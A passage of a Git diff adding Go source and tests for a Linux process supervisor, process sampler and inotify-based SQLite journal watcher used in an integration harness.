!errors.Is(err, observerErr) { + t.Fatalf("observer error = %v, want %v", err, observerErr) + } + if calls != 1 || len(window.Samples) != 1 { + t.Fatalf("calls = %d, samples = %d, want one appended sample", calls, len(window.Samples)) + } +} + +func TestSampler_RejectsVanishedPIDDuringWindow(t *testing.T) { + // Given + child := startCleanHelper(t) + requireNoError(t, child.Wait()) + + // When + _, err := SampleWindow(t.Context(), WindowSpec{PID: child.Process.Pid, Interval: time.Millisecond}) + + // Then + if err == nil { + t.Fatal("vanished PID was accepted") + } +} + +func TestSampler_AllowsExplicitlyTerminatedPID(t *testing.T) { + // Given + child := startCleanHelper(t) + requireNoError(t, child.Wait()) + + // When + window, err := SampleWindow(t.Context(), WindowSpec{PID: child.Process.Pid, Interval: time.Millisecond, AllowTerminated: true}) + + // Then + requireNoError(t, err) + if len(window.Samples) != 0 { + t.Fatalf("samples = %d, want 0", len(window.Samples)) + } +} + +func TestSampler_ToleratesVanishedUnrelatedProcEntries(t *testing.T) { + // Given + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + churnDone := make(chan struct{}) + go func() { + defer close(churnDone) + for ctx.Err() == nil { + command := exec.Command(os.Args[0], "-test.run=^TestProcessHelper$") + command.Env = append(os.Environ(), helperModeEnv+"=clean") + if err := command.Run(); err != nil { + return + } + } + }() + + // When + for range 100 { + if _, err := SampleProcess(os.Getpid()); err != nil { + t.Fatalf("sample during /proc churn: %v", err) + } + } + cancel() + <-churnDone +} diff --git a/integration/agentcompat/internal/process/sqlite_journal_identity.go b/integration/agentcompat/internal/process/sqlite_journal_identity.go new file mode 100644 index 00000000..b95b285f --- /dev/null +++ b/integration/agentcompat/internal/process/sqlite_journal_identity.go @@ -0,0 +1,76 @@ +//go:build linux + +package process + +import ( + "errors" + "sync" + + "golang.org/x/sys/unix" +) + +var ( + ErrSQLiteJournalUnsupported = errors.New("sqlite journal identity unsupported") + ErrSQLiteJournalIdentityMismatch = errors.New("sqlite journal identity mismatch") +) + +type SQLiteJournalUnsupportedError struct{ Missing uint32 } + +func (err *SQLiteJournalUnsupportedError) Error() string { return ErrSQLiteJournalUnsupported.Error() } +func (err *SQLiteJournalUnsupportedError) Unwrap() error { return ErrSQLiteJournalUnsupported } + +type SQLiteJournalIdentity struct { + MountID uint64 + DeviceMajor uint32 + DeviceMinor uint32 + Inode uint64 + BirthTime unix.StatxTimestamp +} + +func (identity SQLiteJournalIdentity) equal(other SQLiteJournalIdentity) bool { + return identity == other +} + +func sqliteJournalIdentity(stat unix.Statx_t) (SQLiteJournalIdentity, error) { + required := uint32(unix.STATX_MNT_ID | unix.STATX_BTIME) + if stat.Mask&required != required { + return SQLiteJournalIdentity{}, &SQLiteJournalUnsupportedError{Missing: required &^ stat.Mask} + } + return SQLiteJournalIdentity{ + MountID: stat.Mnt_id, + DeviceMajor: stat.Dev_major, + DeviceMinor: stat.Dev_minor, + Inode: stat.Ino, + BirthTime: stat.Btime, + }, nil +} + +func readSQLiteJournalIdentity(fd int) (SQLiteJournalIdentity, error) { + var stat unix.Statx_t + err := unix.Statx(fd, "", unix.AT_EMPTY_PATH, unix.STATX_BASIC_STATS|unix.STATX_MNT_ID|unix.STATX_BTIME, &stat) + if err != nil { + if errors.Is(err, unix.ENOSYS) || errors.Is(err, unix.EINVAL) || errors.Is(err, unix.EPERM) { + return SQLiteJournalIdentity{}, &SQLiteJournalUnsupportedError{Missing: unix.STATX_MNT_ID | unix.STATX_BTIME} + } + return SQLiteJournalIdentity{}, err + } + if stat.Mode&unix.S_IFMT != unix.S_IFREG { + return SQLiteJournalIdentity{}, &SQLiteJournalUnsupportedError{} + } + return sqliteJournalIdentity(stat) +} + +type SQLiteJournalIdentityError struct { + Expected SQLiteJournalIdentity + Actual SQLiteJournalIdentity +} + +func (err *SQLiteJournalIdentityError) Error() string { + return ErrSQLiteJournalIdentityMismatch.Error() +} +func (err *SQLiteJournalIdentityError) Unwrap() error { return ErrSQLiteJournalIdentityMismatch } + +type sqliteJournalCloser struct { + once sync.Once + err error +} diff --git a/integration/agentcompat/internal/process/sqlite_journal_watch.go b/integration/agentcompat/internal/process/sqlite_journal_watch.go new file mode 100644 index 00000000..2c6aa55f --- /dev/null +++ b/integration/agentcompat/internal/process/sqlite_journal_watch.go @@ -0,0 +1,214 @@ +//go:build linux + +package process + +import ( + "bytes" + "context" + "encoding/binary" + "errors" + "fmt" + "path/filepath" + "sync" + + "golang.org/x/sys/unix" +) + +var ErrSQLiteJournalLifecycle = errors.New("invalid sqlite journal lifecycle") + +type SQLiteJournalLifecycleError struct{ Event uint32 } + +func (err *SQLiteJournalLifecycleError) Error() string { return ErrSQLiteJournalLifecycle.Error() } +func (err *SQLiteJournalLifecycleError) Unwrap() error { return ErrSQLiteJournalLifecycle } + +type SQLiteJournalWatch struct { + path string + journalFD int + inotifyFD int + identity SQLiteJournalIdentity + journalWD int + directoryWD int + journalName []byte + closed sqliteJournalCloser + mu sync.Mutex + closeSeen bool + deleted bool +} + +type inotifyEvent struct { + watchDescriptor int32 + mask uint32 + name []byte +} + +func OpenSQLiteJournalWatch(path string) (*SQLiteJournalWatch, error) { + journalFD, err := unix.Open(path, unix.O_PATH|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return nil, err + } + identity, err := readSQLiteJournalIdentity(journalFD) + if err != nil { + _ = unix.Close(journalFD) + return nil, err + } + inotifyFD, err := unix.InotifyInit1(unix.IN_CLOEXEC | unix.IN_NONBLOCK) + if err != nil { + _ = unix.Close(journalFD) + return nil, err + } + journalWD, err := unix.InotifyAddWatch(inotifyFD, fmt.Sprintf("/proc/self/fd/%d", journalFD), unix.IN_CLOSE_WRITE|unix.IN_DELETE_SELF|unix.IN_MOVE_SELF|unix.IN_UNMOUNT) + if err != nil { + _ = unix.Close(inotifyFD) + _ = unix.Close(journalFD) + return nil, err + } + directoryWD, err := unix.InotifyAddWatch(inotifyFD, filepath.Dir(path), unix.IN_DELETE|unix.IN_UNMOUNT) + if err != nil { + _ = unix.Close(inotifyFD) + _ = unix.Close(journalFD) + return nil, err + } + watch := &SQLiteJournalWatch{path: path, journalFD: journalFD, inotifyFD: inotifyFD, identity: identity, journalWD: journalWD, directoryWD: directoryWD, journalName: []byte(filepath.Base(path))} + if err := watch.Verify(); err != nil { + _ = watch.Close() + return nil, err + } + return watch, nil +} + +func (watch *SQLiteJournalWatch) Identity() SQLiteJournalIdentity { return watch.identity } + +func (watch *SQLiteJournalWatch) ObserveSample(context.Context, Sample) error { return watch.Verify() } + +func (watch *SQLiteJournalWatch) Verify() error { + fd, err := unix.Open(watch.path, unix.O_PATH|unix.O_NOFOLLOW|unix.O_CLOEXEC, 0) + if err != nil { + return &SQLiteJournalIdentityError{Expected: watch.identity} + } + defer unix.Close(fd) + actual, err := readSQLiteJournalIdentity(fd) + if err != nil { + return err + } + if !watch.identity.equal(actual) { + return &SQLiteJournalIdentityError{Expected: watch.identity, Actual: actual} + } + return nil +} + +func (watch *SQLiteJournalWatch) Wait(ctx context.Context) error { + cancelFD, err := unix.Eventfd(0, unix.EFD_CLOEXEC|unix.EFD_NONBLOCK) + if err != nil { + return err + } + defer unix.Close(cancelFD) + stop := make(chan struct{}) + var done sync.WaitGroup + done.Add(1) + go func() { + defer done.Done() + select { + case <-ctx.Done(): + _, _ = unix.Write(cancelFD, []byte{1, 0, 0, 0, 0, 0, 0, 0}) + case <-stop: + } + }() + defer func() { close(stop); done.Wait() }() + for { + fds := []unix.PollFd{{Fd: int32(watch.inotifyFD), Events: unix.POLLIN}, {Fd: int32(cancelFD), Events: unix.POLLIN}} + if _, err := unix.Poll(fds, -1); err != nil { + if errors.Is(err, unix.EINTR) { + continue + } + return err + } + if fds[1].Revents&unix.POLLIN != 0 { + return ctx.Err() + } + if err := watch.readEvents(); err != nil { + return err + } + watch.mu.Lock() + completed := watch.deleted + watch.mu.Unlock() + if completed { + return nil + } + } +} + +func (watch *SQLiteJournalWatch) readEvents() error { + var buffer [unix.SizeofInotifyEvent * 8]byte + count, err := unix.Read(watch.inotifyFD, buffer[:]) + if errors.Is(err, unix.EAGAIN) || errors.Is(err, unix.EINTR) { + return nil + } + if err != nil { + return err + } + for offset := 0; offset < count; { + event, consumed, err := decodeInotifyEvent(buffer[offset:count]) + if err != nil { + return &SQLiteJournalLifecycleError{} + } + if err := watch.observeEvent(event.watchDescriptor, event.mask, event.name); err != nil { + return err + } + offset += consumed + } + return nil +} + +func decodeInotifyEvent(buffer []byte) (inotifyEvent, int, error) { + if len(buffer) < unix.SizeofInotifyEvent { + return inotifyEvent{}, 0, errors.New("truncated inotify header") + } + nameLength := binary.NativeEndian.Uint32(buffer[12:]) + if uint64(nameLength) > uint64(len(buffer)-unix.SizeofInotifyEvent) { + return inotifyEvent{}, 0, errors.New("truncated inotify name") + } + consumed64 := uint64(unix.SizeofInotifyEvent) + uint64(nameLength) + if consumed64 > uint64(^uint(0)>>1) { + return inotifyEvent{}, 0, errors.New("inotify event exceeds int range") + } + consumed := int(consumed64) + return inotifyEvent{watchDescriptor: int32(binary.NativeEndian.Uint32(buffer)), mask: binary.NativeEndian.Uint32(buffer[4:]), name: bytes.TrimRight(buffer[unix.SizeofInotifyEvent:consumed], "\x00")}, consumed, nil +} + +func (watch *SQLiteJournalWatch) observeEvent(watchDescriptor int32, mask uint32, name []byte) error { + if int(watchDescriptor) == watch.directoryWD && mask&unix.IN_DELETE != 0 && bytes.Equal(name, watch.journalName) { + return watch.observe(unix.IN_DELETE_SELF) + } + if int(watchDescriptor) != watch.journalWD { + return nil + } + return watch.observe(mask) +} + +func (watch *SQLiteJournalWatch) observe(mask uint32) error { + watch.mu.Lock() + defer watch.mu.Unlock() + if mask&(unix.IN_Q_OVERFLOW|unix.IN_MOVE_SELF|unix.IN_UNMOUNT) != 0 || mask&unix.IN_IGNORED != 0 && !watch.deleted { + return &SQLiteJournalLifecycleError{Event: mask} + } + if mask&unix.IN_CLOSE_WRITE != 0 { + if watch.closeSeen || watch.deleted { + return &SQLiteJournalLifecycleError{Event: mask} + } + watch.closeSeen = true + } + if mask&unix.IN_DELETE_SELF != 0 { + if !watch.closeSeen || watch.deleted { + return &SQLiteJournalLifecycleError{Event: mask} + } + watch.deleted = true + } + return nil +} + +func (watch *SQLiteJournalWatch) Close() error { + watch.closed.once.Do(func() { + watch.closed.err = errors.Join(unix.Close(watch.inotifyFD), unix.Close(watch.journalFD)) + }) + return watch.closed.err +} diff --git a/integration/agentcompat/internal/process/sqlite_journal_watch_test.go b/integration/agentcompat/internal/process/sqlite_journal_watch_test.go new file mode 100644 index 00000000..a9bf4fdd --- /dev/null +++ b/integration/agentcompat/internal/process/sqlite_journal_watch_test.go @@ -0,0 +1,246 @@ +//go:build linux + +package process + +import ( + "context" + "encoding/binary" + "errors" + "os" + "path/filepath" + "testing" + "time" + + "golang.org/x/sys/unix" +) + +func TestSQLiteJournalWatch_CapturesExactIdentityAndCloses(t *testing.T) { + // Given + path := writeJournal(t, "dashboard.sqlite-journal") + watch, err := OpenSQLiteJournalWatch(path) + requireNoError(t, err) + t.Cleanup(func() { requireNoError(t, watch.Close()) }) + + // When + identity := watch.Identity() + + // Then + if identity.MountID == 0 || identity.Inode == 0 || identity.BirthTime.Sec == 0 { + t.Fatalf("identity = %#v, want complete statx identity", identity) + } + if err := watch.Verify(); err != nil { + t.Fatalf("verify identity: %v", err) + } + journalFD, inotifyFD := watch.journalFD, watch.inotifyFD + requireNoError(t, watch.Close()) + requireNoError(t, watch.Close()) + if _, err := unix.FcntlInt(uintptr(journalFD), unix.F_GETFD, 0); !errors.Is(err, unix.EBADF) { + t.Fatalf("journal descriptor remains open: %v", err) + } + if _, err := unix.FcntlInt(uintptr(inotifyFD), unix.F_GETFD, 0); !errors.Is(err, unix.EBADF) { + t.Fatalf("inotify descriptor remains open: %v", err) + } +} + +func TestSQLiteJournalWatch_RejectsReplacementPathDrift(t *testing.T) { + // Given + path := writeJournal(t, "dashboard.sqlite-journal") + watch, err := OpenSQLiteJournalWatch(path) + requireNoError(t, err) + t.Cleanup(func() { requireNoError(t, watch.Close()) }) + replacement := filepath.Join(filepath.Dir(path), "replacement") + requireNoError(t, os.WriteFile(replacement, []byte("replacement"), 0o600)) + requireNoError(t, os.Rename(replacement, path)) + + // When + err = watch.Verify() + + // Then + if !errors.Is(err, ErrSQLiteJournalIdentityMismatch) { + t.Fatalf("verify error = %v, want identity mismatch", err) + } +} + +func TestSQLiteJournalWatch_VerifiesIdentityForEveryWindowSample(t *testing.T) { + // Given + path := writeJournal(t, "dashboard.sqlite-journal") + watch, err := OpenSQLiteJournalWatch(path) + requireNoError(t, err) + t.Cleanup(func() { requireNoError(t, watch.Close()) }) + verified := 0 + + // When + window, err := SampleWindow(t.Context(), WindowSpec{PID: os.Getpid(), Interval: time.Millisecond, ObserveSample: func(ctx context.Context, sample Sample) error { + verified++ + return watch.ObserveSample(ctx, sample) + }}) + + // Then + requireNoError(t, err) + if len(window.Samples) != 5 || verified != 5 { + t.Fatalf("samples = %d, verified = %d, want 5", len(window.Samples), verified) + } +} + +func TestSQLiteJournalIdentity_RejectsMissingRequiredStatxMask(t *testing.T) { + // Given + stat := unix.Statx_t{Mask: unix.STATX_MNT_ID, Mnt_id: 1, Ino: 2} + + // When / Then + if _, err := sqliteJournalIdentity(stat); !errors.Is(err, ErrSQLiteJournalUnsupported) { + t.Fatalf("birth-time error = %v, want unsupported", err) + } + stat.Mask = unix.STATX_BTIME + if _, err := sqliteJournalIdentity(stat); !errors.Is(err, ErrSQLiteJournalUnsupported) { + t.Fatalf("mount-ID error = %v, want unsupported", err) + } +} + +func TestSQLiteJournalWatch_RejectsInvalidLifecycleEvents(t *testing.T) { + for name, mask := range map[string]uint32{ + "overflow": unix.IN_Q_OVERFLOW, + "move self": unix.IN_MOVE_SELF, + "unmount": unix.IN_UNMOUNT, + "ignored": unix.IN_IGNORED, + "missing close": unix.IN_DELETE_SELF, + } { + t.Run(name, func(t *testing.T) { + // Given + watch := &SQLiteJournalWatch{} + // When + err := watch.observe(mask) + + // Then + if err == nil { + t.Fatal("invalid lifecycle event was accepted") + } + }) + } +} + +func TestSQLiteJournalWatch_RejectsDuplicateTerminalEvent(t *testing.T) { + // Given + watch := &SQLiteJournalWatch{} + requireNoError(t, watch.observe(unix.IN_CLOSE_WRITE)) + requireNoError(t, watch.observe(unix.IN_DELETE_SELF)) + + // When + err := watch.observe(unix.IN_DELETE_SELF) + + // Then + if !errors.Is(err, ErrSQLiteJournalLifecycle) { + t.Fatalf("duplicate terminal error = %v, want lifecycle error", err) + } +} + +func TestSQLiteJournalWatch_ReadEventsRejectsTruncatedName(t *testing.T) { + // Given + pipe := make([]int, 2) + requireNoError(t, unix.Pipe(pipe)) + readFD, writeFD := pipe[0], pipe[1] + t.Cleanup(func() { requireNoError(t, unix.Close(readFD)) }) + t.Cleanup(func() { requireNoError(t, unix.Close(writeFD)) }) + watch := &SQLiteJournalWatch{inotifyFD: readFD} + buffer := make([]byte, unix.SizeofInotifyEvent) + binary.NativeEndian.PutUint32(buffer[12:], 1) + _, err := unix.Write(writeFD, buffer) + requireNoError(t, err) + + // When + err = watch.readEvents() + + // Then + if !errors.Is(err, ErrSQLiteJournalLifecycle) { + t.Fatalf("truncated event error=%v, want lifecycle error", err) + } +} + +func TestDecodeInotifyEvent_DecodesUnalignedNativeEndianEvent(t *testing.T) { + // Given + name := []byte("journal\x00\x00") + buffer := append([]byte{0xff}, make([]byte, unix.SizeofInotifyEvent+len(name))...) + eventBytes := buffer[1:] + binary.NativeEndian.PutUint32(eventBytes, 17) + binary.NativeEndian.PutUint32(eventBytes[4:], unix.IN_DELETE) + binary.NativeEndian.PutUint32(eventBytes[12:], uint32(len(name))) + copy(eventBytes[unix.SizeofInotifyEvent:], name) + + // When + event, consumed, err := decodeInotifyEvent(eventBytes) + + // Then + requireNoError(t, err) + if event.watchDescriptor != 17 || event.mask != unix.IN_DELETE || string(event.name) != "journal" { + t.Fatalf("event=%+v", event) + } + if consumed != len(eventBytes) { + t.Fatalf("consumed=%d, want %d", consumed, len(eventBytes)) + } +} + +func TestDecodeInotifyEvent_RejectsTruncatedName(t *testing.T) { + // Given + buffer := make([]byte, unix.SizeofInotifyEvent) + binary.NativeEndian.PutUint32(buffer[12:], 1) + + // When + _, _, err := decodeInotifyEvent(buffer) + + // Then + if err == nil { + t.Fatal("truncated inotify name was accepted") + } +} + +func TestSQLiteJournalWatch_WaitsForCloseThenDeleteAndCancellation(t *testing.T) { + // Given + path := writeJournal(t, "dashboard.sqlite-journal") + watch, err := OpenSQLiteJournalWatch(path) + requireNoError(t, err) + t.Cleanup(func() { requireNoError(t, watch.Close()) }) + ctx, cancel := context.WithCancel(t.Context()) + result := make(chan error, 1) + go func() { result <- watch.Wait(ctx) }() + + // When + cancel() + err = <-result + + // Then + if !errors.Is(err, context.Canceled) { + t.Fatalf("wait error = %v, want cancellation", err) + } + if err := watch.observe(unix.IN_CLOSE_WRITE); err != nil { + t.Fatalf("close write: %v", err) + } + if err := watch.observe(unix.IN_DELETE_SELF); err != nil { + t.Fatalf("delete self: %v", err) + } +} + +func TestSQLiteJournalWatch_WaitsForExactCloseDeleteLifecycle(t *testing.T) { + // Given + path := writeJournal(t, "dashboard.sqlite-journal") + watch, err := OpenSQLiteJournalWatch(path) + requireNoError(t, err) + t.Cleanup(func() { requireNoError(t, watch.Close()) }) + result := make(chan error, 1) + go func() { result <- watch.Wait(t.Context()) }() + journal, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND, 0) + requireNoError(t, err) + requireNoError(t, journal.Close()) + requireNoError(t, os.Remove(path)) + + // When + err = <-result + + // Then + requireNoError(t, err) +} + +func writeJournal(t *testing.T, name string) string { + t.Helper() + path := filepath.Join(t.TempDir(), name) + requireNoError(t, os.WriteFile(path, []byte("journal"), 0o600)) + return path +} diff --git a/integration/agentcompat/internal/process/supervisor.go b/integration/agentcompat/internal/process/supervisor.go new file mode 100644 index 00000000..9492c171 --- /dev/null +++ b/integration/agentcompat/internal/process/supervisor.go @@ -0,0 +1,261 @@ +//go:build linux + +package process + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "sync" + "syscall" + "time" +) + +type Stream string + +const ( + Stdout Stream = "stdout" + Stderr Stream = "stderr" +) + +type Supervisor struct { + ctx context.Context + spec Spec + cmd *exec.Cmd + pid int + pgid int + ready chan struct{} + readyOnce sync.Once + exited chan struct{} + waitErr error + waitMu sync.Mutex + cleanupOnce sync.Once + cleanupDone chan struct{} + cleanupErr error + forced bool + stateMu sync.Mutex + stdoutLog *boundedLog + stderrLog *boundedLog +} + +func NewSupervisor(ctx context.Context, spec Spec) *Supervisor { + return &Supervisor{ctx: ctx, spec: spec, ready: make(chan struct{}), exited: make(chan struct{}), cleanupDone: make(chan struct{})} +} + +func (supervisor *Supervisor) Start() error { + if err := supervisor.spec.validate(); err != nil { + return err + } + command := exec.Command(supervisor.spec.Path, supervisor.spec.Args...) // #nosec G204 -- Absolute executable regular-file path is validated before fixed argv execution; no shell is invoked. + command.Dir = supervisor.spec.Dir + command.Env = supervisor.spec.Env + if command.Env == nil { + command.Env = os.Environ() + } + command.ExtraFiles = supervisor.spec.ExtraFiles + command.SysProcAttr = &syscall.SysProcAttr{Setpgid: true, Pdeathsig: syscall.SIGKILL, Credential: supervisor.spec.Credential} + supervisor.stdoutLog = newBoundedLog(supervisor.spec.Stdout, supervisor.spec.MaxLogBytes, supervisor.lineObserver(Stdout)) + supervisor.stderrLog = newBoundedLog(supervisor.spec.Stderr, supervisor.spec.MaxLogBytes, supervisor.lineObserver(Stderr)) + command.Stdout = supervisor.stdoutLog + command.Stderr = supervisor.stderrLog + if err := command.Start(); err != nil { + supervisor.closeExtraFiles() + return fmt.Errorf("start %s: %w", supervisor.spec.Name, err) + } + supervisor.closeExtraFiles() + supervisor.cmd = command + supervisor.pid = command.Process.Pid + supervisor.pgid = command.Process.Pid + go supervisor.reap() + go supervisor.watchContext() + return nil +} + +func (supervisor *Supervisor) lineObserver(stream Stream) func(string) { + return func(line string) { + if supervisor.spec.Readiness != nil && supervisor.spec.Readiness(stream, line) { + supervisor.SignalReady() + } + } +} + +func (supervisor *Supervisor) closeExtraFiles() { + for _, file := range supervisor.spec.ExtraFiles { + if file != nil { + _ = file.Close() + } + } +} + +func (supervisor *Supervisor) reap() { + err := supervisor.cmd.Wait() + supervisor.stdoutLog.Close() + supervisor.stderrLog.Close() + supervisor.waitMu.Lock() + supervisor.waitErr = err + supervisor.waitMu.Unlock() + close(supervisor.exited) +} + +func (supervisor *Supervisor) watchContext() { + select { + case <-supervisor.ctx.Done(): + _ = supervisor.Stop(context.WithoutCancel(supervisor.ctx)) + case <-supervisor.exited: + } +} + +func (supervisor *Supervisor) SignalReady() { + supervisor.readyOnce.Do(func() { close(supervisor.ready) }) +} + +func (supervisor *Supervisor) Ready() <-chan struct{} { return supervisor.ready } + +func (supervisor *Supervisor) Exited() <-chan struct{} { return supervisor.exited } + +func (supervisor *Supervisor) WaitReady(ctx context.Context) error { + select { + case <-supervisor.ready: + return nil + default: + } + select { + case <-supervisor.ready: + return nil + case <-supervisor.exited: + select { + case <-supervisor.ready: + return nil + default: + return errors.New("process exited before readiness") + } + case <-ctx.Done(): + return ctx.Err() + } +} + +func (supervisor *Supervisor) Wait(ctx context.Context) error { + select { + case <-supervisor.exited: + cleanupErr := supervisor.Stop(ctx) + supervisor.waitMu.Lock() + waitErr := supervisor.waitErr + supervisor.waitMu.Unlock() + return errors.Join(waitErr, cleanupErr) + case <-ctx.Done(): + return errors.Join(ctx.Err(), supervisor.Stop(context.WithoutCancel(ctx))) + } +} + +func (supervisor *Supervisor) Stop(ctx context.Context) error { + supervisor.cleanupOnce.Do(func() { go supervisor.cleanup() }) + select { + case <-supervisor.cleanupDone: + return supervisor.cleanupResult() + case <-ctx.Done(): + return ctx.Err() + } +} + +func (supervisor *Supervisor) cleanup() { + defer close(supervisor.cleanupDone) + if supervisor.pgid < 1 { + return + } + if !processGroupExists(supervisor.pgid) { + supervisor.waitForExit() + return + } + if err := syscall.Kill(-supervisor.pgid, syscall.SIGTERM); err != nil && !errors.Is(err, syscall.ESRCH) { + supervisor.setCleanupError(fmt.Errorf("terminate %s process group: %w", supervisor.spec.Name, err)) + return + } + if waitProcessGroup(supervisor.pgid, supervisor.spec.TerminateTimeout) { + supervisor.waitForExit() + return + } + supervisor.stateMu.Lock() + supervisor.forced = true + supervisor.stateMu.Unlock() + if err := syscall.Kill(-supervisor.pgid, syscall.SIGKILL); err != nil && !errors.Is(err, syscall.ESRCH) { + supervisor.setCleanupError(fmt.Errorf("kill %s process group: %w", supervisor.spec.Name, err)) + return + } + if !waitProcessGroup(supervisor.pgid, supervisor.spec.KillTimeout) { + supervisor.setCleanupError(fmt.Errorf("%s process group %d survived SIGKILL", supervisor.spec.Name, supervisor.pgid)) + return + } + supervisor.waitForExit() +} + +func (supervisor *Supervisor) waitForExit() { + timer := time.NewTimer(supervisor.spec.KillTimeout) + defer timer.Stop() + select { + case <-supervisor.exited: + case <-timer.C: + supervisor.setCleanupError(fmt.Errorf("%s process was not reaped", supervisor.spec.Name)) + } +} + +func (supervisor *Supervisor) setCleanupError(err error) { + supervisor.stateMu.Lock() + supervisor.cleanupErr = errors.Join(supervisor.cleanupErr, err) + supervisor.stateMu.Unlock() +} + +func (supervisor *Supervisor) cleanupResult() error { + supervisor.stateMu.Lock() + defer supervisor.stateMu.Unlock() + return supervisor.cleanupErr +} + +func processGroupExists(pgid int) bool { + err := syscall.Kill(-pgid, 0) + return err == nil || errors.Is(err, syscall.EPERM) +} + +func waitProcessGroup(pgid int, timeout time.Duration) bool { + if !processGroupExists(pgid) { + return true + } + ticker := time.NewTicker(time.Millisecond) + defer ticker.Stop() + timer := time.NewTimer(timeout) + defer timer.Stop() + for { + select { + case <-ticker.C: + if !processGroupExists(pgid) { + return true + } + case <-timer.C: + return !processGroupExists(pgid) + } + } +} + +func (supervisor *Supervisor) PID() int { return supervisor.pid } + +func (supervisor *Supervisor) ProcessGroupID() int { return supervisor.pgid } + +func (supervisor *Supervisor) ForcedCleanup() bool { + supervisor.stateMu.Lock() + defer supervisor.stateMu.Unlock() + return supervisor.forced +} + +func (supervisor *Supervisor) CleanupRecord() CleanupRecord { + supervisor.stateMu.Lock() + defer supervisor.stateMu.Unlock() + return CleanupRecord{Name: supervisor.spec.Name, PID: supervisor.pid, Forced: supervisor.forced, Error: errorString(supervisor.cleanupErr)} +} + +func errorString(err error) string { + if err == nil { + return "" + } + return err.Error() +} diff --git a/integration/agentcompat/internal/process/supervisor_agentcompat.go b/integration/agentcompat/internal/process/supervisor_agentcompat.go new file mode 100644 index 00000000..340cc3fd --- /dev/null +++ b/integration/agentcompat/internal/process/supervisor_agentcompat.go @@ -0,0 +1,7 @@ +//go:build linux && agentcompat + +package process + +func (supervisor *Supervisor) CleanupDoneForTest() <-chan struct{} { + return supervisor.cleanupDone +} diff --git a/integration/agentcompat/internal/process/supervisor_spec.go b/integration/agentcompat/internal/process/supervisor_spec.go new file mode 100644 index 00000000..3a0863be --- /dev/null +++ b/integration/agentcompat/internal/process/supervisor_spec.go @@ -0,0 +1,46 @@ +//go:build linux + +package process + +import ( + "errors" + "fmt" + "io" + "os" + "path/filepath" + "syscall" + "time" +) + +type Spec struct { + Name string + Path string + Args []string + Dir string + Env []string + ExtraFiles []*os.File + Stdout io.Writer + Stderr io.Writer + MaxLogBytes int + TerminateTimeout time.Duration + KillTimeout time.Duration + Readiness func(Stream, string) bool + Credential *syscall.Credential +} + +func (spec Spec) validate() error { + if spec.Name == "" || spec.Path == "" || spec.MaxLogBytes < 1 || spec.TerminateTimeout <= 0 || spec.KillTimeout <= 0 { + return errors.New("invalid process specification") + } + if !filepath.IsAbs(spec.Path) { + return errors.New("process path must be absolute") + } + info, err := os.Stat(spec.Path) + if err != nil { + return fmt.Errorf("stat process path: %w", err) + } + if !info.Mode().IsRegular() || info.Mode()&0o111 == 0 { + return errors.New("process path must be an executable regular file") + } + return nil +} diff --git a/integration/agentcompat/internal/process/supervisor_test.go b/integration/agentcompat/internal/process/supervisor_test.go new file mode 100644 index 00000000..a3403df6 --- /dev/null +++ b/integration/agentcompat/internal/process/supervisor_test.go @@ -0,0 +1,231 @@ +//go:build linux + +package process + +import ( + "bufio" + "bytes" + "context" + "errors" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "testing" + "time" +) + +func TestSupervisor_CleanExit(t *testing.T) { + // Given + supervisor := newHelperSupervisor(t.Context(), "clean", nil) + + // When + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + + // Then + requireNoError(t, supervisor.Wait(t.Context())) +} + +func TestSupervisor_StartRejectsUntrustedExecutablePaths(t *testing.T) { + tests := []struct { + name string + path string + }{ + {name: "relative", path: "relative-helper"}, + {name: "directory", path: t.TempDir()}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + // Given + supervisor := newHelperSupervisor(t.Context(), "clean", nil) + supervisor.spec.Path = test.path + + // When + err := supervisor.Start() + + // Then + if err == nil { + t.Fatal("untrusted process path was accepted") + } + }) + } +} + +func TestSupervisor_RunsChildWithConfiguredCredential(t *testing.T) { + // Given + credentialDirectory, err := os.MkdirTemp("/tmp", "agentcompat-credential-") + requireNoError(t, err) + t.Cleanup(func() { _ = os.RemoveAll(credentialDirectory) }) + requireNoError(t, os.Chmod(credentialDirectory, 0o777)) + marker := filepath.Join(credentialDirectory, "credential.txt") + supervisor := newHelperSupervisor(t.Context(), "credential", []string{helperMarkerEnv + "=" + marker}) + testBinary, err := os.ReadFile(os.Args[0]) + requireNoError(t, err) + executablePath := filepath.Join(credentialDirectory, "process-helper") + requireNoError(t, os.WriteFile(executablePath, testBinary, 0o755)) + uncredentialed := newHelperSupervisor(t.Context(), "credential", []string{helperMarkerEnv + "=" + marker}) + uncredentialed.spec.Path = executablePath + requireNoError(t, uncredentialed.Start()) + requireNoError(t, uncredentialed.Wait(t.Context())) + requireNoError(t, os.Remove(marker)) + + supervisor.spec.Path = executablePath + supervisor.spec.Credential = &syscall.Credential{Uid: 65534, Gid: 65534} + + // When + if err := supervisor.Start(); err != nil { + if errors.Is(err, syscall.EPERM) { + t.Skipf("credentialed helper execution is not permitted: %v", err) + } + t.Fatalf("start credentialed helper: %v", err) + } + requireNoError(t, supervisor.Wait(t.Context())) + + // Then + content, err := os.ReadFile(marker) + requireNoError(t, err) + if strings.TrimSpace(string(content)) != "65534:65534" { + t.Fatalf("child credential = %q, want 65534:65534", content) + } +} + +func TestSupervisor_KillsProcessTree(t *testing.T) { + // Given + marker := filepath.Join(t.TempDir(), "grandchild.pid") + ctx, cancel := context.WithCancel(t.Context()) + supervisor := newHelperSupervisor(ctx, "tree", []string{helperMarkerEnv + "=" + marker}) + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + grandchildPID := readPID(t, marker) + processGroupID := supervisor.ProcessGroupID() + + // When + cancel() + select { + case <-supervisor.cleanupDone: + case <-time.After(2 * time.Second): + t.Fatal("context cancellation did not complete process-tree cleanup") + } + + // Then + requirePIDGone(t, supervisor.PID()) + requirePIDGone(t, grandchildPID) + if err := syscall.Kill(-processGroupID, 0); !errors.Is(err, syscall.ESRCH) { + t.Fatalf("process group %d remains: %v", processGroupID, err) + } +} + +func TestSupervisor_AdoptsListener(t *testing.T) { + // Given + listener, err := net.Listen("tcp4", "127.0.0.1:0") + requireNoError(t, err) + tcpListener := listener.(*net.TCPListener) + inheritedFile, err := tcpListener.File() + requireNoError(t, err) + requireNoError(t, tcpListener.Close()) + supervisor := 